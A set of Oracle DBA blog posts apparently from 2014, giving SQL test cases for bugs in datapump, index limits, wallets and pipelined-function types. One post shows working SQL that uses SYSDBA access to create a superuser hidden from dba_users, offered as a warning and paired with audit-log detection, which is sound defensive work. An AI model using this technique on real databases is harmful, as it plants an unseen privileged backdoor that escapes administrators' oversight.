Quick Reference to Patch Numbers for Database PSU, SPU(CPU), Bundle Patches and Patchsets (Doc ID 1454618.1)

today (22-JUl-2014) I spend some minutes to check the amount of patches available in mos for linux x64 by oracle version (only base releases and patchsets as 10.1.0.1.0 or 11.2.0.4.0 ). The following picture shows an example of the search filters used:

search filter example

here is the result:
search results

10.1.0.3.0 is the oldest available release in the list.

another ouch: test-case

do a datapump export on 11.2.0.4 Linux x64:

connect / as sysdba
drop user u15 cascade;
create user u15 identified by u15 default tablespace users temporary tablespace temp quota unlimited on users;
grant create session, create table to u15;
connect u15/u15
create table test ( a number, b timestamp with time zone );
begin
for i in 1..10000
loop
insert into test values ( i
, to_timestamp_tz ('2014-06-06 21:07:46.214879 +2:00','YYYY-MM-DD HH24:MI:SSXFF TZH:TZM' )
);
end loop;
commit;
end;
/
select count(*) from test;
SQL> select min(b),max(b) from test;

MIN(B)
---------------------------------------------------------------------------
MAX(B)
---------------------------------------------------------------------------
06-JUN-14 09.07.46.214879 PM +02:00
06-JUN-14 09.07.46.214879 PM +02:00

connect / as sysdba
create or replace directory dir_tmp as '/var/tmp/';
!expdp userid="'/ as sysdba'" parallel=4 dumpfile=test_%U.dmp logfile=test.log schemas=u15 directory=dir_tmp;

import the dump into a 12.1.0.1 database on linux x64:

connect / as sysdba
create or replace directory dir_tmp as '/var/tmp/';
!impdp parallel=2 userid="'/ as sysdba'" schemas=u15 dumpfile=test_%U.dmp logfile=test.log directory=dir_tmp;

… and check the timestamps:

U15@dbs101> select * from test order by 2;

A B
---------- ---------------------------------------------------------------------------
636 06-JUN-14 09.07.46.000000 PM +02:00
637 06-JUN-14 09.07.46.000000 PM +02:00
638 06-JUN-14 09.07.46.000000 PM +02:00
639 06-JUN-14 09.07.46.000000 PM +02:00

… outch

UPDATE: One workaround is to use tradtional exp/imp

simple test-case for 11.2.0.4 and 12.1.0.1 on linux x64:

connect / as sysdba
drop user u21 cascade;
create user u21 identified by u21 default tablespace users temporary tablespace temp;
grant create session, create table to u21;
connect u21/u21
declare
  lv_statement varchar2(32000) := 'create table t1 ( ';
  ln_max_indexes pls_integer := 1000;
  ln_max_columns pls_integer := 1000;
  ln_max_ind_columns pls_integer := 32; 
begin
  for i in 1..ln_max_columns
  loop
    if i < ln_max_columns
    then
      lv_statement := lv_statement || ' c'||i||' number,';
    else
      lv_statement := lv_statement || ' c'||i||' number';
    end if;
  end loop;
  lv_statement := lv_statement || ')';
  execute immediate lv_statement;
  for i in 1..ln_max_indexes
  loop
    execute immediate 'create index ii'||i||' on t1 ( c'||i||')';
  end loop;
  execute immediate 'create index i1001 on t1 (c1,c2)';
end;
/
select count(*) from user_indexes;
connect / as sysdba
drop user u21 cascade;
drop user u21 cascade
*
ERROR at line 1:
ORA-00604: error occurred at recursive SQL level 1
ORA-01418: specified index does not exist

ouch …

does not happen with 1000 indexes:

connect / as sysdba
drop user u22 cascade;
create user u22 identified by u22 default tablespace users temporary tablespace temp;
grant create session, create table to u22;
connect u22/u22
declare
  lv_statement varchar2(32000) := 'create table t1 ( ';
  ln_max_indexes pls_integer := 1000;
  ln_max_columns pls_integer := 1000;
  ln_max_ind_columns pls_integer := 32; 
begin
  for i in 1..ln_max_columns
  loop
    if i < ln_max_columns
    then
      lv_statement := lv_statement || ' c'||i||' number,';
    else
      lv_statement := lv_statement || ' c'||i||' number';
    end if;
  end loop;
  lv_statement := lv_statement || ')';
  execute immediate lv_statement;
  for i in 1..ln_max_indexes
  loop
    execute immediate 'create index ii'||i||' on t1 ( c'||i||')';
  end loop;
end;
/
select count(*) from user_indexes;
connect / as sysdba
drop user u22 cascade;

happens again with 1002:

connect / as sysdba
drop user u22 cascade;
create user u22 identified by u22 default tablespace users temporary tablespace temp;
grant create session, create table to u22;
connect u22/u22
declare
  lv_statement varchar2(32000) := 'create table t1 ( ';
  ln_max_indexes pls_integer := 1000;
  ln_max_columns pls_integer := 1000;
  ln_max_ind_columns pls_integer := 32; 
begin
  for i in 1..ln_max_columns
  loop
    if i < ln_max_columns
    then
      lv_statement := lv_statement || ' c'||i||' number,';
    else
      lv_statement := lv_statement || ' c'||i||' number';
    end if;
  end loop;
  lv_statement := lv_statement || ')';
  execute immediate lv_statement;
  for i in 1..ln_max_indexes
  loop
    execute immediate 'create index ii'||i||' on t1 ( c'||i||')';
  end loop;
  execute immediate 'create index i1001 on t1 (c1,c2)';
  execute immediate 'create index i1002 on t1 (c1,c2,c3)';
end;
/
select count(*) from user_indexes;
connect / as sysdba
drop user u22 cascade;

drop user u22 cascade
*
ERROR at line 1:
ORA-00604: error occurred at recursive SQL level 1
ORA-01418: specified index does not exist

seems to be limit at 1000, somehow.

even more weird:

SYS@dbs101> select count(*) from dba_indexes where owner = 'U22';

  COUNT(*)
----------
	 0

SYS@dbs101> select count(*) from dba_objects where owner='U22';

  COUNT(*)
----------
       996

this one is a little bit hypothetical but might happen. do you know the situation when a standard software requires sysdba priviliges for installation? be very careful ginving out the sys password. once someone other than a trusted dba knows the password a sysdba can be created which you probably will never find (except you have processes in place to scan the audit logs).

oracle stores users and roles in the user$ table. a user has a type# of 1 while a role has type# of 0. one can easily check this:

SYS@dbs100> select NAME,TYPE# from user$;

NAME				    TYPE#
------------------------------ ----------
SYS					1
PUBLIC					0
CONNECT 				0
RESOURCE				0
DBA					0
SYSTEM					1
.....

what will happen if we directly insert into that table with a type# of -1?

insert into user$ (USER#,NAME,TYPE#,password,DATATS#,tempts#,ctime,resource$,defrole,astatus,lcount,spare1,spare4,DEFSCHCLASS,EXPTIME,LTIME,PTIME) 
       values (99,'GOD',1,'D9E8A39A359A48C2',4,3,sysdate-5,0,1,0,0,0,'S:E0BBBCAB53EDC7BD147FBD6EBF79E011DBDB31947A3B08B04FCB7E678DF8','DEFAULT_CONSUMER_GROUP',to_date(null),to_date(null),to_date(null));

1 row created.

commit;

Commit complete.

seems to work. this user will never be visible in dba_users or dba_roles:

SYS@dbs100> select * from dba_users where username = 'GOD';

no rows selected

SYS@dbs100> select * from dba_roles where role = 'GOD';

no rows selected

perfectly hidden. change the password:

alter user god identified by a;

User altered.

… and assign all sysdba privileges:

insert into sysauth$  (grantee#,privilege#,option$,sequence#) 
       select 99,privilege#,option$,system_grant.nextval
         from sysauth$ where grantee# = 0;

226 rows created.

update user$ set type#=-1 where user#=99;

1 row updated.

commit;

Commit complete.

test it:

SYS@dbs100> connect god/a as sysdba
Connected.

… and you are in.

the good news: if you have auditing enabled you may catch this:

grep -i god *
dbs100_ora_12133_20140515225804864916143795.aud:       values (99,'GOD',1,'D9E8A39A359A48C2',4,3,sysdate-5,0,1,0,0,0,'S:E0BBBCAB53EDC7BD147FBD6EBF79E011DBDB31947A3B08B04FCB7E678DF8','DEFAULT_CONSUMER_GROUP',to_date(null),to_date(null),to_date(null))'
dbs100_ora_12133_20140515225804864916143795.aud:ACTION :[30] 'alter user god identified by *'
dbs100_ora_12133_20140515225804864916143795.aud:ACTION :[30] 'alter user god identified by *'
dbs100_ora_12147_20140515225916485631143795.aud:ACTION :[46] 'select * from dba_users where username = 'GOD''
dbs100_ora_12147_20140515225916485631143795.aud:ACTION :[42] 'select * from dba_roles where role = 'GOD''

tested on 11.2.0.3 and 11.2.0.4 on Linux x64.

this is a follow up on This page isn’t redirecting properly.

a very simple test-case to reproduce this on 11.2.0.4 on linux x86_64:

in short, this generates a self-signed certificate and loads it to the oracle wallet ( thanks to tyler muth for providing the steps ).

wget http://www.openssl.org/contrib/ssl.ca-0.1.tar.gz
tar -axf ssl.ca-0.1.tar.gz
orapki wallet create -wallet . -pwd Welcome1 -auto_login
orapki wallet add -wallet . -dn 'cn=blubb, ou=blubb, ou=blubb, dc=blubb, dc=blubb' -keysize 2048 -pwd Welcome1
orapki wallet export -wallet . -dn 'cn=blubb, ou=blubb, ou=blubb, dc=blubb, dc=blubb' -request certreq.crs -pwd Welcome1
cp certreq.csr ssl.ca-0.1/
cd ssl.ca-0.1/
./new-root-ca.sh
./sign-server-cert.sh certreq
cd ..
orapki wallet add -wallet . -trusted_cert -cert ssl.ca-0.1/ca.crt -pwd Welcome1
orapki wallet add -wallet . -user_cert -cert ssl.ca-0.1/certreq.crt -pwd Welcome1
orapki wallet display -wallet . 

once the wallet is ready adjust the sqlnet.ora for the database to include the following:

WALLET_LOCATION=
  (SOURCE=(METHOD=FILE)(METHOD_DATA=
    (DIRECTORY=[PATH_TO_YOUR_WALLET])))
SSL_CLIENT_AUTHENTICATION=FALSE

… and bounce the instance. bumm:

select * from v$wallet;
*
ERROR at line 1:
ORA-03113: end-of-file on communication channel
Process ID: 11336
Session ID: 36 Serial number: 57

this does not reproduce with 12.1.0.1
assigned to oracle development…

Update 2014-JUN-05: Bug 14327886 : ORA-7445 [__INTEL_NEW_MEMCPY()+52] AND ORA-03113 WITH SELECT ON V$WALLET

this one is really nasty (Bug 18097476, 12.1.0.1 on Linux x86-64 )

test-case (although slightly different from the description of the bug):

connect / as sysdba
drop user pp cascade;
drop user ppp cascade;
drop user pppp cascade;
create user pp identified by "Welcome1$" default tablespace users temporary tablespace temp quota unlimited on users;
grant create session, create type, create procedure to pp;
connect pp/"Welcome1$"

create or replace package p1 as
  type t1 is record ( a number, b varchar2(10));
  type tt1 is table of t1;
  function pipelined return tt1 pipelined;
end p1;
/

create or replace package body p1 as
function pipelined return tt1 pipelined
as
  l t1;
  lt tt1 := tt1();
begin
  for i in 1..10
  loop
    lt.extend;
    l.a := i;
    l.b := 'aaaa';
    lt(lt.last) := l;
    pipe row(lt(lt.last));
  end loop;
  return;
end pipelined;
end p1;
/
select * from table (p1.pipelined);

connect / as sysdba
select owner,object_name,object_type,object_id from dba_objects where object_name = 'P1';
select owner,object_name,object_type,object_id from dba_objects where object_name like 'SYS_PLSQL%' and owner like 'PP%';

create user ppp identified by "Welcome1$" default tablespace users temporary tablespace temp quota unlimited on users;
grant create session, create type, create procedure to ppp;

create user pppp identified by "Welcome1$" default tablespace users temporary tablespace temp quota unlimited on users;
grant create session, create type, create procedure to pppp;

create or replace directory dir_tmp as '/home/oracle/';

host rm -f /home/oracle/dmp.dmp
host expdp userid="'/ as sysdba'" schemas=pp directory=dir_tmp dumpfile=dmp.dmp logfile=dmp.log
host impdp userid="'/ as sysdba'" remap_schema=pp:ppp directory=dir_tmp dumpfile=dmp.dmp logfile=dmp.log
host impdp userid="'/ as sysdba'" remap_schema=pp:pppp directory=dir_tmp dumpfile=dmp.dmp logfile=dmp.log

select owner,object_name,object_type,object_id from dba_objects where object_name like 'SYS_PLSQL%' and owner like 'PP%';

the last select shoud return something similar to this:

OWNER	  OBJECT_NAME			 OBJECT_TYPE OBJECT_ID
--------- ------------------------------ ----------- ----------
PP	  SYS_PLSQL_62B6CB68_DUMMY_1	 TYPE	          20223
PP	  SYS_PLSQL_62B6CB68_9_1	 TYPE	          20222
PP	  SYS_PLSQL_62B6CB68_24_1	 TYPE		  20224
PPP	  SYS_PLSQL_62B6CB68_DUMMY_1	 TYPE		  20273
PPP	  SYS_PLSQL_62B6CB68_9_1	 TYPE		  20272
PPP	  SYS_PLSQL_62B6CB68_24_1	 TYPE		  20274
PPPP	  SYS_PLSQL_62B6CB68_DUMMY_1	 TYPE		  20301
PPPP	  SYS_PLSQL_62B6CB68_9_1	 TYPE		  20300
PPPP	  SYS_PLSQL_62B6CB68_24_1	 TYPE		  20302

if now, for whatever reason, someone drops one of the “not” dummy_1 types:

drop type SYS_PLSQL_62B6CB68_24_1;

… the result is, that you can not drop or compile the package anymore:

alter package p1 compile;
alter package p1 compile
*
ERROR at line 1:
ORA-04043: object SYS_PLSQL_62B6CB68_24_1 does not exist

or, try to compile the package for the second schema without droppping a type before (does not happen on the third one :) ):

SYS@dbs101> alter package ppp.p1 compile;
alter package ppp.p1 compile
*
ERROR at line 1:
ORA-04043: object SYS_PLSQL_62B6CB68_24_1 does not exist

suprisingly this does not happen with 2 schemas in my case. it starts when a third schema is present.

fyi: oracle creates this SY_PLSQL* as soon as you create a package which contains pipeplined functions which return types defined in the package (bad sentence, I know :) ).

UPDATE 2014-JUL-18:Patch 18097476 is currently available on top of 12.1.0.1 for Linux x86-64.